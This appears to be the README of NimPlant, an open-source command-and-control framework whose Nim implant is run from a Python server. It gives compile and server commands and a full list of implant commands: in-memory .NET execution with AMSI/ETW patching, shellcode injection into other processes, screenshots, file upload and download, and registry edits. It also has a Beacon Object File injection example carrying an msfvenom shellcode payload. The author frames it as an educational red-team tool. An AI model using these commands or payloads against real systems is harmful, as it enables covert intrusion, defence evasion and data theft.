You may pass the rotatekey argument to generate and use a new XOR key during compilation.
Notes:
Update, which is triggered by DllMain for all entrypoints. This means you can use e.g. rundll32 .\NimPlant.dll,Update to trigger, or use your LOLBIN of choice to sideload it (may need some modifications in client/NimPlant.nim)PS C:\NimPlant> python .\NimPlant.py compile all
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
_ _ _ ____ _ _
| \ | (_)_ __ ___ | _ \| | __ _ _ __ | |_
| \| | | '_ ` _ \| |_) | |/ _` | '_ \| __|
| |\ | | | | | | | __/| | (_| | | | | |_
|_| \_|_|_| |_| |_|_| |_|\__ ,_|_| |_|\__|
A light-weight stage 1 implant and C2 based on Nim and Python
By Cas van Cooten (@chvancooten)
Compiling .exe for NimPlant
Compiling self-deleting .exe for NimPlant
Compiling .dll for NimPlant
Compiling .bin for NimPlant
Done compiling! You can find compiled binaries in 'client/bin/'.
The Docker image chvancooten/nimbuild can be used to compile NimPlant binaries. Using Docker is easy and avoids dependency issues, as all required dependencies are pre-installed in this container.
To use it, install Docker for your OS and start the compilation in a container as follows.
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPlant.py compile allOnce you have your binaries ready, you can spin up your NimPlant server! No additional configuration is necessary as it reads from the same config.toml file. To launch a server, simply run python NimPlant.py server (with sudo privileges if running on Linux). You can use the console once a Nimplant checks in, or access the web interface at http://localhost:31337 (by default).
Notes:
config.toml and .xorkey match. If not, NimPlant will not be able to connect.client/NimPlant.nim).server/logs directory. Each server instance creates a new log folder, and logs are split per console/nimplant session. Downloads and uploads (including files uploaded via the web GUI) are stored in the server/uploads and server/downloads directories respectively.server/nimplant.db. This data is also used to recover Nimplants after a server restart.NimPlant.py with the cleanup flag. Caution: This will purge everything, so make sure to back up what you need first!PS C:\NimPlant> python .\NimPlant.py server
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
_ _ _ ____ _ _
| \ | (_)_ __ ___ | _ \| | __ _ _ __ | |_
| \| | | '_ ` _ \| |_) | |/ _` | '_ \| __|
| |\ | | | | | | | __/| | (_| | | | | |_
|_| \_|_|_| |_| |_|_| |_|\__ ,_|_| |_|\__|
A light-weight stage 1 implant and C2 written in Nim and Python
By Cas van Cooten (@chvancooten)
[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337.
[06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.
This will start both the C2 API and management web server (in the example above at http://127.0.0.1:31337) and the NimPlant listener (in the example above at https://0.0.0.0:443). Once a NimPlant checks in, you can use both the web interface and the console to send commands to NimPlant.
Available commands are as follows. You can get detailed help for any command by typing help [command]. Certain commands denoted with (GUI) can be configured graphically when using the web interface, this can be done by calling the command without any arguments.
Command arguments shown as [required] <optional>.
Commands with (GUI) can be run without parameters via the web UI.
cancel Cancel all pending tasks.
cat [filename] Print a file's contents to the screen.
cd [directory] Change the working directory.
clear Clear the screen.
cp [source] [destination] Copy a file or directory.
curl [url] Get a webpage remotely and return the results.
download [remotefilepath] <localfilepath> Download a file from NimPlant's disk to the NimPlant server.
env Get environment variables.
execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] <arguments> Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR.
exit Exit the server, killing all NimPlants.
getAv List Antivirus / EDR products on target using WMI.
getDom Get the domain the target is joined to.
getLocalAdm List local administrators on the target using WMI.
getpid Show process ID of the currently selected NimPlant.
getprocname Show process name of the currently selected NimPlant.
help <command> Show this help menu or command-specific help.
hostname Show hostname of the currently selected NimPlant.
inline-execute (GUI) [localfilepath] [entrypoint] <arg1 type1 arg2 type2..> Execute Beacon Object Files (BOF) from memory.
ipconfig List IP address information of the currently selected NimPlant.
kill Kill the currently selected NimPlant.
list Show list of active NimPlants.
listall Show list of all NimPlants.
ls <path> List files and folders i n a certain directory. Lists current directory by default.
mkdir [directory] Create a directory (and its parent directories if required).
mv [source] [destination] Move a file or directory.
nimplant Show info about the currently selected NimPlant.
osbuild Show operating system build information for the currently selected NimPlant.
powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR.
ps List running processes on the target. Indicates current process.
pwd Get the current working directory.
reg [query|add] [path] <key> <value> Query or modify the registry. New values will be added as REG_SZ.
rm [file] Remove a file or directory.
run [binary] <arguments> Run a binary from disk. Returns output but blocks NimPlant while running.
screenshot Take a screenshot of the user's screen.
select [id] Select another NimPlant.
shell [command] Execute a shell command.
shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation.
sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant.
upload (GUI) [localfilepath] <remotefilepath> Upload a file from the NimPlant server to the victim machine.
wget [url] <remotefilepath> Download a file to disk remotely.
whoami Get the user ID that NimPlant is running as.
NOTE: BOFs are volatile by nature, and running a faulty BOF or passing wrong arguments or types WILL crash your NimPlant session! Make sure to test BOFs before deploying!
NimPlant supports the in-memory loading of BOFs thanks to the great NiCOFF project. Running a bof requires a local compiled BOF object file (usually called something like bofname.x64.o), an entrypoint (commonly go), and a list of arguments with their respective argument types. Arguments are passed as a space-seperated arg argtype pair.
Argument are given in accordance with the "Zzsib" format, so can be either string (alias: z), wstring (or Z), integer (aliases: int or i), short (s), or binary (bin or b). Binary arguments can be a raw binary string or base64-encoded, the latter is recommended to avoid bad characters.
Some examples of usage (using the magnificent TrustedSec BOFs [1, 2] as an example) are given below. Note that inline-execute (without arguments) can be used to configure the command graphically in the GUI.
# Run a bof without arguments
inline-execute ipconfig.x64.o go
# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z
# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7 RxNyb2oAWUGJ2v/VY2FsYy5leGUA b
# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z # OK - arguments are passed as expectedBy default, NimPlant support push notifications via the notify_user() hook defined in server/util/notify.py. By default, it implements a simple Telegram notification which requires the TELEGRAM_CHAT_ID and TELEGRAM_BOT_TOKEN environment variables to be set before it will fire. Of course, the code can be easily extended with one's own push notification functionality. The notify_user() hook is called when a new NimPlant checks in, and receives an object with NimPlant details, which can then be pushed as desired.
As a normal user, you shouldn't have to modify or re-build the UI that comes with Nimplant. However, if you so desire to make changes, install NodeJS and run an npm install while in the ui directory. Then run ui/build-ui.py. This will take care of pulling the packages, compiling the Next.JS frontend, and placing the files in the right location for the Nimplant server to use them.
NimPlant was developed as a learning project and released to the public for transparency and educational purposes. For a large part, it makes no effort to hide its intentions. Additionally, protections have been put in place to prevent abuse. In other words, do NOT use NimPlant in production engagements as-is without thorough source code review and modifications! Also remember that, as with any C2 framework, the OPSEC fingerprint of running certain commands should be considered before deployment. NimPlant can be compiled without OPSEC-risky commands by setting riskyMode to false in config.toml.
There are many reasons why Nimplant may fail to compile or run. If you encounter issues, please try the following (in order):
chvancooten/nimbuild docker container to rule out any dependency issuesserver/logs directory for any errorsnim-debug compilation mode to compile with console and debug messages (.exe only) to see if any error messages are returned
